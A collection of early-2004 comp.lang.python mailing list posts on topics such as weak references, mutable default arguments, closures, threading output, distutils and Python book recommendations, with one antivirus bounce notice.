>> one source file - or is this just a bad language restriction?
>
>This has to do with dynamic loading. Nothing else.

It might have something to do with something else, since it is a false
statement, not a language restriction:
---------- cut here ---------- 
// multiclass.java
// demonstrates two classes in one source file.

class multiclass
{
    public static void main(String args[])
    {
        System.out.println(bork.bork());
    }
}

class bork
{
    public static String bork()
    {
        return "Bork!";
    }
}
---------- ereh tuc ---------- 

    --dang


From andrew-pythonlist at puzzling.org  Sat Feb  7 09:20:01 2004
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sun, 8 Feb 2004 01:20:01 +1100
Subject: Warnings killing my performance
In-Reply-To: <153fa67.0402070445.77121b2e@posting.google.com>
References: <153fa67.0402060933.13840e8c@posting.google.com>
	<mailman.1322.1076118385.12720.python-list@python.org>
	<153fa67.0402070445.77121b2e@posting.google.com>
Message-ID: <20040207142001.GA25602@frobozz>

On Sat, Feb 07, 2004 at 04:45:12AM -0800, Kylotan wrote:
> specific warning isn't enough. As noted in my first post, something is
> going through the warnings mechanism silently. I changed the code to

Have you tried "python -Wall"?  It shows PendingDeprecationWarnings, which
are usually not displayed.

-Andrew.




From jcarlson at nospam.uci.edu  Mon Feb 16 01:06:39 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 15 Feb 2004 22:06:39 -0800
Subject: __del__ doesn't work
In-Reply-To: <dc6f5c99.0402151649.34422f21@posting.google.com>
References: <21064255.0402151141.51a38fed@posting.google.com>
	<dc6f5c99.0402151649.34422f21@posting.google.com>
Message-ID: <c0pmq5$dm1$1@news.service.uci.edu>

> I don't believe that Python can cope with this and the object
> will never actually be deleted. Please correct me if I am wrong.

You are incorrect.

 From http://www.python.org/doc/current/lib/module-gc.html:
"The gc module is only available if the interpreter was built with the 
optional cyclic garbage detector (enabled by default). If this was not 
enabled, an ImportError is raised by attempts to import this module."

It is enabled in Windows builds, and I believe it is also enabled in all 
other distributed builds.

In general, cycle detection is costly, and is only done when a large 
amount of memory is being used.


> In certain circumstances where I have had this problem and I
> needed to know the object would be destroyed as soon as
> possible, I have had to add a method to the class which could
> be called to undo any references the class held which pointed
> back onto itself.

That is smart, but it does beg the question: Why would a class instance 
need to have a reference to itself?  I can understand certain reasons, 
but many can be translated into weakrefs with little difficulty.


> I have looked at weak references, but have not been satisfied
> that it could be used in the situation where I had to overcome the
> problem.

Weak referenced objects are not required to be deleted immediately 
following the final strong reference removal.  Perhaps that is where 
your confusion lies.

Nowhere does it claim to delete immediately following the final strong 
reference removal, the garbage collector collects when it is ready to. 
One thing to remember is that sometimes references hide.

 >>> import weakref
 >>> class thing(object):
...     def __init__(self):
...         print "init"
...         self.me = weakref.ref(self)
...     def __del__(self):
...         print "del"
...
 >>> a = thing()
init
 >>> del a
del
 >>> a = thing()
init
 >>> a
<__main__.thing object at 0x007E4D70>
 >>> del a
 >>> a
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
NameError: name 'a' is not defined
 >>> "I wonder why a hasn't been deleted yet..."
del
"I wonder why a hasn't been deleted yet..."
 >>> "Ahhh", _
('Ahhh', "I wonder why a hasn't been deleted yet...")


  - Josiah


From jcarlson at nospam.uci.edu  Thu Feb 19 01:40:53 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 18 Feb 2004 22:40:53 -0800
Subject: [Announce] pyobfuscate
In-Reply-To: <38b675a9.0402181901.411574d8@posting.google.com>
References: <mailman.64.1077030517.31398.python-list@python.org>
	<38b675a9.0402181901.411574d8@posting.google.com>
Message-ID: <c11lue$rba$1@news.service.uci.edu>

Have you thought about becoming a mad computer scientist?  I think you'd 
do well.

  - Josiah


From usenet_spam at janc.invalid  Fri Feb 13 22:07:26 2004
From: usenet_spam at janc.invalid (JanC)
Date: Sat, 14 Feb 2004 03:07:26 GMT
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com>
	<mailman.6.1076585559.698.python-list@python.org>
	<c0jf75$or2$2@atlantis.news.tpi.pl> <402D4FF7.944423B7@engcorp.com>
	<c0jkc4$eds$1@atlantis.news.tpi.pl>
	<EJcXb.30763$uV3.53262@attbi_s51>
	<c0jlic$eds$4@atlantis.news.tpi.pl>
	<c0jrp0$ima$1@news.service.uci.edu>
Message-ID: <Xns948F29F34718DJanC@213.119.4.35>

Josiah Carlson <jcarlson at nospam.uci.edu> schreef:

> It is funny how ASCII is everywhere.

No: supersets of ASCII are everywhere.

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From ingen at ukendt.dk  Wed Feb 25 13:41:58 2004
From: ingen at ukendt.dk (Michael Jørgensen)
Date: Wed, 25 Feb 2004 19:41:58 +0100
Subject: Newbie: Return value semantics; copy or reference?
Message-ID: <403cec0f$0$95081$edfadb0f@dread11.news.tele.dk>

Hi all,

I thought that return values in Python are copies and not references.
However, I've run into a problem, which I've isolated to the following code
fragment below.

I observe that the assignment to bpduReceived2 actually changes the value of
bpduReceived1. This is completely unexpected.

I can easily fix the program in a number of different ways. However, I fear
that I'm just pushing the problem in front of me, unless I understand what
is going on.

It seems that the two Frame objects get initialized with the *same* Bpdu
object. Why is that, and how do I make certain it doesn't happen.

-Michael.

================================

class Bpdu:
        def __str__(self):
                return str(self.var)
        def decode(self, input):
                self.var = ord(input[0])

class Frame:
        def __init__(self, _bpdu=Bpdu()):
                self.bpdu = _bpdu

        def decode(self, input):
                self.bpdu.decode(input)

class TestingStation:
  def ReceiveBpdu(self, input):
    frame = Frame()             # Create a placeholder
    frame.decode(input)         # Do the conversion
    print repr(frame.bpdu)
    return frame.bpdu           # Return the converted data.

station1 = TestingStation()
station2 = TestingStation()

bpduReceived1 = station1.ReceiveBpdu("\01")

print "bpduReceived1=", bpduReceived1
print
bpduReceived2 = station2.ReceiveBpdu("\02")    # This line changes
bpduReceived1
print

print "bpduReceived1=", bpduReceived1
print "bpduReceived2=", bpduReceived2
print





From jcarlson at nospam.uci.edu  Wed Feb 25 17:21:44 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 25 Feb 2004 14:21:44 -0800
Subject: print in multithreaded environement ???
In-Reply-To: <5c184570.0402250756.1715ee17@posting.google.com>
References: <5c184570.0402250756.1715ee17@posting.google.com>
Message-ID: <c1j7an$o67$1@news.service.uci.edu>

> Does sys.stdout is a seperate instance for each thread ?
> Does sys.stdout is shared between all of them ?

sys.stdout, sys.stdin and sys.stderr are all shared.


> Does any one has experience with that ?

Yes.  As soon as a thread uses up its timeslice, it is paused.  Sending 
a lot of information to sys.stdout, or doing any non-trivial computation 
is a good way of using up a timeslice...as is sleeping for an 
arbitrarily small amount of time, even 0.

Run the following code to see how it behaves.

import time
from threading import Thread
def funct(i):
     for j in xrange(50):
             print i,
             time.sleep(0)

for i in xrange(50): Thread(target=funct, args=(i,)).start()


  - Josiah


From jacek.generowicz at cern.ch  Fri Feb 27 10:01:22 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 27 Feb 2004 16:01:22 +0100
Subject: Feature request: subclassing FunctionType [Was: Some language
	proposals]
References: <95aa1afa.0402262158.5b33de79@posting.google.com>
Message-ID: <tyffzcwbm7x.fsf@pcepsft001.cern.ch>

michele.simionato at poste.it (Michele Simionato) writes:

> def make_adders(n):
>     return [(lambda x: x+i) for i in range(n)]
> 
> add0,add1=make_adders(2)
> 
> print add0(0) #=> 1
> print add1(0) #=> 1
> 
> This does not work as expected,

Hmm, I think that what is expected is not an invariant between
different people and even between more careful or less careful
readings by the same person.

On careful reading, it does exatly what I expect it to do.

All the closures in the list share the same free-variable binding[*];
there is only one binding of i, so they all find that single binding.

I don't think that Python's behaviour differs from other languages, in
this respect. For example in Common Lisp:

* (defun make-adders (n)
    (loop for i below n collect
  	  (lambda (x) (+ x i))))
MAKE-ADDERS
* (destructuring-bind (add0 add1) (make-adders 2)
    (list (funcall add0 0) 
  	  (funcall add1 0)))
(2 2)

[The important point is that the two resulting numbers are the same,
the fact that they are both twos rather than ones is a feature of the
looping construct and is irrelevant to the scoping issues.]

> and the solution is an ugly hack
> with default arguments:
> 
> def make_adders(n):
>     return [(lambda x,i=i: x+i) for i in range(n)]
> 
> add0,add1=make_adders(2)
> 
> print add0(0) #=> 0
> print add1(0) #=> 1

Yes, if you want the free variables to be bound differently, then
you need to bind i in a seperate "more inner" scope for each closure:

(defun make-adders (n)
  (loop for i below n collect
	(let ((i i))
	  (lambda (x) (+ x i)))))
MAKE-ADDERS
* 
(destructuring-bind (add0 add1) (make-adders 2)
  (list (funcall add0 0) 
	(funcall add1 0)))
(0 1)

> I don't like that, but I don't think that the current scope rules
> will change any soon.

I'm not sure how you would like them to change.

> OTOH, Paul Prescod is right and Python is primarily an 
> OOP language, so I would prefer to use real objects over
> closures.

Bah! Humbug! It's multi-paradigm, I tell you :-)

> So, I submit it as a feature request for Python 2.4.  Maybe, if
> enough people wants the feature, we may get it!

In complete ignorance of the technical difficulties and second order
consequences of allowing this, is second your request.


[*] I have a feeling that "free variable binding" is not a correct way
    of expressing this, but I can't think of anything better just now.


From bart_nessux at hotmail.com  Sat Feb 14 22:43:08 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Sat, 14 Feb 2004 22:43:08 -0500
Subject: Generating and printing a range of ip addresses
References: <mailman.26.1076744175.31398.python-list@python.org>
Message-ID: <c0mpq8$b9f$1@solaris.cc.vt.edu>

Stephen Briley wrote:

> Hi all,
> 
> I would like to write a python script that takes input
> of 2 ip address, one a start address and the other the
> end address and prints a list of all ip address in
> between  in dotted-decimal format.  I've attempted to
> use the ipv4 module
> (http://pynms.sourceforge.net/ipv4.html) ,but I am
> unable to get past this error  "AttributeError: 'str'
> object has no attribute '_address".
> 
> Can any suggest a solution to this problem? Is there a
> better way than using the ipv4 module?

I did it like this:

def gen_and_write_ips():
   output_File = file('ips.txt', 'w')
   # Generate and write our 120 IP range to a file
   # Produces 128.173.120.50-80
   x = 49
   while x < 80:
      x = x + 1
      print>> output_File, "128.173.120.%d" %x

   # IP Addresses that are not part of a range
   # These are in the 128.173.120.0 network
   lone_IP = [121, 140, 248]

   # Write the lone IPs into the file
   for i in lone_IP:
      print>> output_File, "128.173.120.%d" %i

   # Generate and write our 122 IP range to a file
   # Produces 128.173.122.1-90
   x = 0
   while x < 90:
      x = x + 1
      print>> output_File, "128.173.122.%d" %x
   output_File.close()

Your needs sound different, but it's something you could start with.


From bokr at oz.net  Fri Feb  6 10:58:47 2004
From: bokr at oz.net (Bengt Richter)
Date: 6 Feb 2004 15:58:47 GMT
Subject: PEP 327: Decimal Data Type
References: <mailman.1131.1075733260.12720.python-list@python.org>
	<qnkr7xdceyv.fsf@arbutus.physics.mcmaster.ca>
	<apd020l6ri1sq9rhk87d2c0trcg4rnoi8m@4ax.com>
Message-ID: <c00djn$668$0@216.39.172.122>

On Wed, 04 Feb 2004 01:59:41 +0000, Stephen Horne <steve at ninereeds.fsnet.co.uk> wrote:
[...]
A bunch of stuff including stuff about intervals which probably could
benefit from revision in the light of, e.g.,

    http://www.americanscientist.org/template/AssetDetail/assetid/28331;jsessionid=aaa41kNy_Uu1-c

or the whole in "printer-friendly" format 

    http://www.americanscientist.org/template/AssetDetail/assetid/28331/page/3?&print=yes

or the .pdf (nicer) at

    http://www.americanscientist.org/template/PDFDetail/assetid/28315;jsessionid=aaa41kNy_Uu1-c

see also

    http://www.cs.utep.edu/interval-comp/

Google is your friend ;-)

Regards,
Bengt Richter


From sidharthk at hotmail.com  Tue Feb 10 22:26:46 2004
From: sidharthk at hotmail.com (sid)
Date: Wed, 11 Feb 2004 08:56:46 +0530
Subject: Creating objects you don't actually want
References: <d232c5e.0402100250.20e49e37@posting.google.com>
	<c0ajph$153q3a$1@ID-223265.news.uni-berlin.de>
	<40291a89@nntp0.pdx.net>
Message-ID: <c0c7mk$157q8g$1@ID-223265.news.uni-berlin.de>

me feels a bit stupid:-)

Thanks for the observation.







From spam.buster at web.de  Tue Feb  3 09:32:30 2004
From: spam.buster at web.de (Lars Behrens)
Date: Tue, 03 Feb 2004 15:32:30 +0100
Subject: What's the matter with pydoc.org?
In-Reply-To: <bvoa2a$u5pp0$1@ID-111250.news.uni-berlin.de>
References: <bvo98e$tqnei$1@ID-95936.news.uni-berlin.de>
	<bvoa2a$u5pp0$1@ID-111250.news.uni-berlin.de>
Message-ID: <bvobds$utrr2$1@ID-95936.news.uni-berlin.de>

Diez B. Roggisch wrote:

>>Can someone please check if pydoc.org works ok? I see only strange
>>stuff...
>>
>>Is that link ok?
>>
>>http://pydoc.org/
> 
> 
> Try http://www.python.org/doc

On that side try the link "pydoc online" (after "pyhelp.cgi").
That's the one of those I bookmarked.


-- 
Cheerz

Lars


From cgadgil_list at cxoindia.dnsalias.com  Thu Feb 26 01:26:10 2004
From: cgadgil_list at cxoindia.dnsalias.com (Chetan Gadgil)
Date: Thu, 26 Feb 2004 11:56:10 +0530
Subject: Constants from Excel?
In-Reply-To: <873r30lcjgpgcjqd3ju8j0b02ouh2875df@4ax.com>
Message-ID: <048201c3fc31$6d170c90$5b0aa8c0@cxodt03>

http://aspn.activestate.com/ASPN/docs/ActivePython/2.3/PyWin32/html/com/
win32com/HTML/QuickStartClientCom.html#UsingComConstants


"""
Using COM Constants
Makepy automatically installs all generated constants from a type
library in an object called win32com.clients.constants. You do not need
to do anything special to make these constants work, other than create
the object itself (ie, in the example above, the constants relating to
Word would automatically be available after the
w=win32com.client.Dispatch("Word.Application") statement.

For example, immediately after executing the code above, you could
execute the following:

>>> w.WindowState = win32com.client.constants.wdWindowStateMinimize

and Word will Minimize.
"""


Chetan


`I know what you're thinking about,' said Tweedledum: `but it isn't so,
nohow.'
    -- Lewis Carroll, Through the Looking Glass


> -----Original Message-----
> From: 
> python-list-bounces+cgadgil_list=cxoindia.dnsalias.com at python.
> org 
> [mailto:python-list-bounces+cgadgil_list=cxoindia.dnsalias.com
> @python.org] On Behalf Of Tim Roberts
> Sent: Thursday, February 26, 2004 11:39 AM
> To: python-list at python.org
> Subject: Constants from Excel?
> 
> 
> I've done a lot of COM work from Python, including control of 
> the Office applications.  However, I have a question that 
> I've never been able to answer.
> 
> Is there a way to programmatically fetch the values of COM 
> constants?  For example, in my Excel apps, I have a section 
> like this, that I have gleaned from multiple Google posts:
> 
>   xlPortrait = 1   # orientation constants
>   xlLandscape = 2
>   xlWKS = 4        # SaveAs format constants
>   xlExcel9795 = 43
>   xlHAlignRight = -4152
>   xlHAlignCenter = -4108
> 
> This works, but it'd be nicer to create an instance of, say, 
> Excel.Constants and pull the values from there.
> -- 
> - Tim Roberts, timr at probo.com
>   Providenza & Boekelheide, Inc.
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 




From Florian.Lindner at xgm.de  Thu Feb 26 10:06:55 2004
From: Florian.Lindner at xgm.de (Florian Lindner)
Date: Thu, 26 Feb 2004 16:06:55 +0100
Subject: Problem with OptionParser
References: <c1ih6o$91h$06$1@news.t-online.com> <m2wu6blypn.fsf@pchoel.psh>
Message-ID: <c1l22f$tt2$00$1@news.t-online.com>

Berthold H?llmann wrote:

> Florian Lindner <Florian.Lindner at xgm.de> writes:
> 
>> Hello,
>> I've this tiny Python sample:
>>
>> - - - -
>> #!/usr/bin/python
>>
>> from optparse import OptionParser, OptionValueError
>>
>> def option_callback(option, opt, value, parser, *args, **kwargs):
>>     pass
>>
>> optparser = OptionParser()
>> optparser.add_option("-t", "--type", action="callback",
>> callback=option_callback, type="string")
>> (options, arguments) = optparser.parse_args()
>> - - - -
> 
> As a workaround you could set "metavar", I posted a first fix to the
> Optik mailing list.
> 
> Regards
> 
> Berthold

To what value I should set metavar? What is this? I've nothing in the
docs...
Thx,
Florian


From kgmuller at xs4all.nl  Wed Feb  4 06:52:22 2004
From: kgmuller at xs4all.nl (Klaus Muller)
Date: 4 Feb 2004 03:52:22 -0800
Subject: HappyDoc
References: <401f0a47$1_2@newspeer2.tds.net>
Message-ID: <a07fd5b5.0402040352.793510b0@posting.google.com>

"Olaf Meding" <OlafMeding at noSpam.compuserve.com> wrote in message news:<401f0a47$1_2 at newspeer2.tds.net>...
> It there a native Windows version available?
> 
> I downloaded it from sourceforge but it needs cygwin/bash.
> 
> I am also looking for documentation.  Thanks.
> 
> 
> Olaf

I have the same problem and have switched over to epydoc
(http://epydoc.sourceforge.net/). Works at least as well!

Klaus


From jdhunter at ace.bsd.uchicago.edu  Mon Feb 16 19:08:23 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Mon, 16 Feb 2004 18:08:23 -0600
Subject: distutils install dir
Message-ID: <m2brny4lfs.fsf@mother.paradise.lost>


What is the best way to get the target install dir from distutils when 

  python setup.py install 

is run.

Eg, on a standard python install to /usr/local I want

/usr/local/lib/python2.3/site-packages

and on a standard win32 python installation I want
c:\\Python23\\Lib\\site-packages

I also want to handle the case when an alternate prefix is installed.

To to ask the question another way.  I want to add SomeFile.pth to the
install dir.  For various reasons, extra_path is not a good choice for
me.  I just want to copy a file SomeFile.pth to the site-packages dir.
My workaround is to treat SomeFile.pth as a data_file, and add it to
the site-packages dir (stored in sitep) with

    data_files = [ (sitep, 'SomeFile.pth') ]


setup(name="somemod",
      ..snip...
      ext_modules = ext_modules, 
      data_files=data_files,
      )

Thanks,
John Hunter



From bart_nessux at hotmail.com  Tue Feb 24 08:28:12 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Tue, 24 Feb 2004 08:28:12 -0500
Subject: whitespace within a string
In-Reply-To: <mailman.18.1077587072.8594.python-list@python.org>
References: <c1e8st$7bn$1@solaris.cc.vt.edu>
	<mailman.18.1077587072.8594.python-list@python.org>
Message-ID: <c1fjhd$p5h$1@solaris.cc.vt.edu>

Jeff Epler wrote:
> You can use the magic of no-arg split() to do this:
>     def canonize_whitespace(s):
>         return " ".join(s.split())
> 
>     >>> canonize_whitespace("a  b\t\tc\td\t e")
>     'a b c d e'
> 
> A regular expression substituion can do the job too
>     def canonize_whitespace(s):
>         return re.sub('\s+', ' ', s)
> 
>     >>> canonize_whitespace("a  b\t\tc\td\t e")
>     'a b c d e'
>  
> Of course, if 'x=y' is accepted just like 'x = y' and 'x   =    y', then
> neither of these approaches is good enough.
> 
>     def canonize_config_line(s):
>         if not '=' in s: return s
>         a, b = s.split("=", 1)
>         return "%s = %s" % (a.strip(), b.strip())
>     >>> [canonize_config_line(s) for s in
>     ...        ['x=y', 'x\t=  y', '  x =    y ', "#z"]] 
>     ['x = y', 'x = y', 'x = y', '#z']
> 
> Jeff
> 

Thanks for the tip. I'll give it a try.



From maarten at remove_this_ws.tn.tudelft.nl  Sun Feb  1 07:55:54 2004
From: maarten at remove_this_ws.tn.tudelft.nl (Maarten van Reeuwijk)
Date: Sun, 01 Feb 2004 13:55:54 +0100
Subject: Numeric array referencing vs copying.
References: <bvisin$6o7$1@news.tudelft.nl>
Message-ID: <bvit0q$6o7$2@news.tudelft.nl>

Whoops, detected a small bug in the example code: u and v should be floats.

So
> u = arange(9)

should be

u = arange(9.)

This makes the outcome of the script a little more convincing :)

===================================================================
Maarten van Reeuwijk                    Thermal and Fluids Sciences
Phd student                             dept. of Multiscale Physics
www.ws.tn.tudelft.nl                 Delft University of Technology


From michael at foord.net  Sat Feb 21 12:53:47 2004
From: michael at foord.net (Fuzzyman)
Date: 21 Feb 2004 09:53:47 -0800
Subject: Python program organization
References: <6fGZb.25259$tM5.21166@fed1read04>
Message-ID: <8089854e.0402210953.367dc315@posting.google.com>

Derek W <whitedw at NOSPAMcox.net> wrote in message news:<6fGZb.25259$tM5.21166 at fed1read04>...
> Hello all,
> 
[snip....]
>Would this package then go under Python's 
> site-packages directory when the program is installed?  Would 
> distribution of a program like this use distutils?
> 
> Thank you,
> Derek

I'm a relative newbie and have only ever written medium sized (or
small)programs... *but* python will import modules from the same
directory as the main script is running. Several of my programs are
broken up into modules - and then all kept in the same directory.

Regards,


Fuzzyman

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From manders2k_NOSPAM at yahoo.com  Tue Feb  3 12:09:19 2004
From: manders2k_NOSPAM at yahoo.com (manders2k)
Date: 3 Feb 2004 09:09:19 -0800
Subject: different string representation (buffer gap)
Message-ID: <ddcff747.0402030909.49343c44@posting.google.com>

Hi all --

I'm contemplating the idea of writing a simple emacs-like editor in
python (for fun and the experience of doing so).  In reading through
Craig Finseth's "The Craft of Text Editing":

  http://www.finseth.com/~fin/craft/

, I've come across the "buffer gap" representation for the text data
of the buffer.  Very briefly, it keeps the unallocated memory of the
character array at the editing point, so that as long as there is
memory available, an insert/delete is very low (constant) cost.  Of
course, moving the editing point means copying some character data so
that the gap moves with you, but...

Anyway, I'm wondering what straightforward ways to leverage /
implement this representation in Python.  Ideally, it would be great
if one could use a BufferGap class in all the places you'ld use a
python string transparently, to use standard regular expressions, for
example.  Glancing quickly at the regexmodule.c, and its use of
PyString_Whatever, I'm not certain this is easy to do efficiently
(must one copy the buffer's contents into a Python-native string
before one can use something like a regular expression match on the
buffer's contents?).

Anyone have ideas / suggestions on how one would represent an editing
buffer in a way that would remain most (transparently) compatible with
the Python standard library string operations (and yet remain
efficient for editing)?  If one is embedding the interpreter in the
editor (or writing the editor in pure python), and using python for
editor extensibility, it seems desireable to keep complexity down for
extension writers , and to allow them to think of the buffer as a
string.

Thanks...


From nosmapplease at somewhere.com  Sun Feb  1 04:00:21 2004
From: nosmapplease at somewhere.com (Psymaster)
Date: 1 Feb 2004 09:00:21 GMT
Subject: Problems embedding Python
References: <Xns9482E9728C0Ct45fs6vve@130.133.1.4>
	<bvhoao$23lh$1@arachne.labyrinth.net.au>
Message-ID: <Xns94826FFE6826Dt45fs6vve@130.133.1.4>

Mark Hammond <mhammond at skippinet.com.au> wrote on Sun, 01 Feb 2004
02:29:38 GMT in comp.lang.python: 

> You are almost certainly not linking with the correct CRTL.  You
> *must* use the /MD compiler option for release builds, or /MDd for
> debug builds. 
> 

What's a CRTL? Hiw do I pass these options to the compiler? I've 
already said that if I pass the contents of the file as strings and 
execute them with PyRun_SimpleString() it works fine. Also, I know the 
file is loaded because I can read it from my program.


From newsgroups at jhrothjr.com  Sun Feb  1 21:22:23 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sun, 1 Feb 2004 21:22:23 -0500
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<401d5562$0$318$e4fe514c@news.xs4all.nl>
	<slrnc1r2id.ea6.joe@gate.notcharles.ca>
Message-ID: <101rd69b9127s51@news.supernews.com>


"Joe Mason" <joe at notcharles.ca> wrote in message
news:slrnc1r2id.ea6.joe at gate.notcharles.ca...
> In article <401d5562$0$318$e4fe514c at news.xs4all.nl>, Irmen de Jong wrote:

> When profiling a large app at work, we discovered that in C++ accessing
> every parent class after the first is quite slow.  We were able to just
> flip the order of inheritance for some classes, but if you're planning a
> complex use of multiple inheritance you should keep that in mind.  (I'm
> just assuming it has the same effect in Python.)

Actually, it doesn't. For new style classes, Python
precomputes the method resolution order, so looking
up a method is simply flipping through a list of
dictionaries until it finds the right one. It's basically
O(n) in the number of classes in the hierarchy.

Given that you can add or remove attributes from
any class at any time, it's hard to see how it could
be any faster.

John Roth
>
>
> Joe




From guido.naudts at just.fgov.be  Thu Feb 26 06:53:14 2004
From: guido.naudts at just.fgov.be (guido naudts)
Date: Thu, 26 Feb 2004 12:53:14 +0100
Subject: (no subject)
Message-ID: <BHEGIFIBDCGODHMIHLLIGEOJCCAA.guido.naudts@just.fgov.be>

Hallo,
Suppose a function:
def f(param)
where the format of the param is a tuple containing lists and tuples
e.g. (a,[b,(c,[a,b])])
For efficiency I want to put these functions (I have more than one) into C.
How can I best do this?
Thanks,

Naudts Guido Informaticus
Tel. 02/542.76.01
Fax: 02/538.01.80
E-mail: guido.naudts at just.fgov.be




From alanmk at hotmail.com  Sat Feb 14 08:28:02 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Sat, 14 Feb 2004 13:28:02 +0000
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com>
	<mailman.6.1076585559.698.python-list@python.org>
	<c0jf75$or2$2@atlantis.news.tpi.pl> <402D4FF7.944423B7@engcorp.com>
Message-ID: <402E2262.62F8D2FF@hotmail.com>

[Peter Hansen]
> For those who need non-ASCII input, pyRXP is clearly documented as
> being unsuitable.

So they should remove the following false and misleading statement
from their web page:

"pyRXP version 0.9, the fastest validating XML parser available for
Python, and quite possibly anywhere :-)"

http://www.reportlab.org/pyrxp.html

As we've clearly established, PyRXP is not an XML parser, PyRXPU is an
XML parser. But is PyRXPU the "fastest validating XML parser"?

They should place one of the following statements on the page

"pyRXP version 0.9, the fastest validating not-XML parser available
for Python, and quite possibly anywhere"

or

"pyRXPU version CVS_YYYY_MM_DD, is a validating XML parser for Python"

-- 
alan kennedy
------------------------------------------------------
check http headers here: http://xhaus.com/headers
email alan:              http://xhaus.com/contact/alan


From NAIGIMSESRIMAIL at gims.com  Wed Feb 25 12:46:04 2004
From: NAIGIMSESRIMAIL at gims.com (GroupShield for Exchange (ESRIMAIL))
Date: Wed, 25 Feb 2004 19:46:04 +0200
Subject: ALERT -  GroupShield ticket number OB14_1077731155_ESRIMAIL_3 was
	generated
Message-ID: <B06B8FEF47ACD7119E720040F4284591021249A6@ESRIMAIL>

Action Taken:
The message was blocked because of its subject.

To:
python-list at python.org <python-list at python.org>

From:
Duncan Booth <me at privacy.net>

Sent:
936430464,29621191

Subject:
Re: test for raw string

Attachment Details:-

Attachment Name: N/A
File: Infected.msg
Infected? No
Repaired? No
Blocked? Yes
Deleted? No
Virus Name: 



	
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From rmkrauter at yahoo.com  Mon Feb  9 23:39:39 2004
From: rmkrauter at yahoo.com (Rich Krauter)
Date: Mon, 09 Feb 2004 23:39:39 -0500
Subject: Importing a package and looping through modules in the package
In-Reply-To: <eee922fc.0402091929.1764626d@posting.google.com>
References: <eee922fc.0402091929.1764626d@posting.google.com>
Message-ID: <1076387978.4097.59.camel@vaio>

On Mon, 2004-02-09 at 22:29, Dave wrote:
> Hi Everyone,
> 
> I am trying to import a package and then loop through the modules
> inside the package, but I'm running to a problem.  Basically:
> -----
> I have a package called
> regression.changepassword.unittests which contains test modules.
> ---
> In a test agent module (called agent.a), I do the following:
> 
> from regression.changepassword.unittests import *
> utilities.runTests("regression.changepassword.unittests.")


Do you have __all__ defined in your __init__.py in
regression.changepassword.unittests?

This part of the tutorial might help:
http://www.python.org/doc/current/tut/node8.html#SECTION008410000000000000000

Rich




From jcb at iteris.com  Wed Feb 25 02:19:38 2004
From: jcb at iteris.com (MetalOne)
Date: 24 Feb 2004 23:19:38 -0800
Subject: How does Ruby compare to Python?? How good is DESIGN of Ruby
	compared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
Message-ID: <92c59a2c.0402242319.3a5020d8@posting.google.com>

Ruby is easy to learn.
I suggest downloading it.
The distribution comes with ProgrammingRuby.chm which is the online
version of the ProgrammingRuby book.
You can read most of what you need in a couple days.
Then decide for yourself.

Ruby is a fine language, but the community is smaller, the bindings to
external libraries are smaller and the number of extra packages are
smaller.


From kbk at shore.net  Fri Feb  6 13:52:07 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Fri, 06 Feb 2004 18:52:07 GMT
Subject: Best Beginner's Guide To Python?
References: <3b48d777.0402052148.3cd8e16c@posting.google.com>
Message-ID: <87ptcsjb1k.fsf@hydra.localdomain>

duffman4287 at aol.com (The Tao of Spike) writes:

> I've recentlty been getting into programming.  I was wondering what
> language to learn first and after asking around I decided on Python. 
> I'm about half way through "Non-Programmers Tutorial For Python" By
> Josh Cogliati (http://www.honors.montana.edu/~jjc/easytut/easytut/)
> and I'm wondering where I should go after this.  Any help is
> appreciated, thanks.

There's more to programming than learning a language:

How to Think Like a Computer Scientist [in Python]

    http://www.ibiblio.org/obp/thinkCSpy/

The Python Tutorial is good:

    http://www.python.org/doc/current/tut/tut.html

I have many Python books.  Most are redundant.  The one I keep
coming back to (because it's thorough and concise) is

       Python Essential Reference 
       David M. Beazley
       New Riders

but you may like

       Python in a Nutshell
       Alex Martelli
       O'Reilly

better because it's more detailed, covers Tkinter and XML, and is
updated to Python 2.2.  I use both.
 
Those two are more than just reference books, because they include
example code for each topic.

For an extended (1200 page) introduction, _Programming Python_ is
great, as others have recommended.

I would stay away from the Deitel book.  The code isn't Pythonic.

Python is unusual in that its learning curve is a series of
plateaus rather than a continuous climb.  You can do a lot
once you get to that first plateau, which doesn't take long.
(The introductory tutorial in Beazley's book is eleven pages.)

Read other people's code.  Experiment.  Code up some project.  Repeat.

Python was a good choice.

-- 
KBK


From nomail  Sun Feb  1 17:26:06 2004
From: nomail (BG)
Date: Sun, 1 Feb 2004 23:26:06 +0100
Subject: bsddb.dbshelve problem unpickling objects from another directory
Message-ID: <401d7d15$0$3257$58c7af7e@news.kabelfoon.nl>

I am experimenting with dbshelve in Python 2.3.3 on Win2k. The problem is
that objects put into the dbshelve by a script in one directory cannot be
unpickled by script running in another directory. Why?

I am writing my own collection called testcollection to hold testitems. The
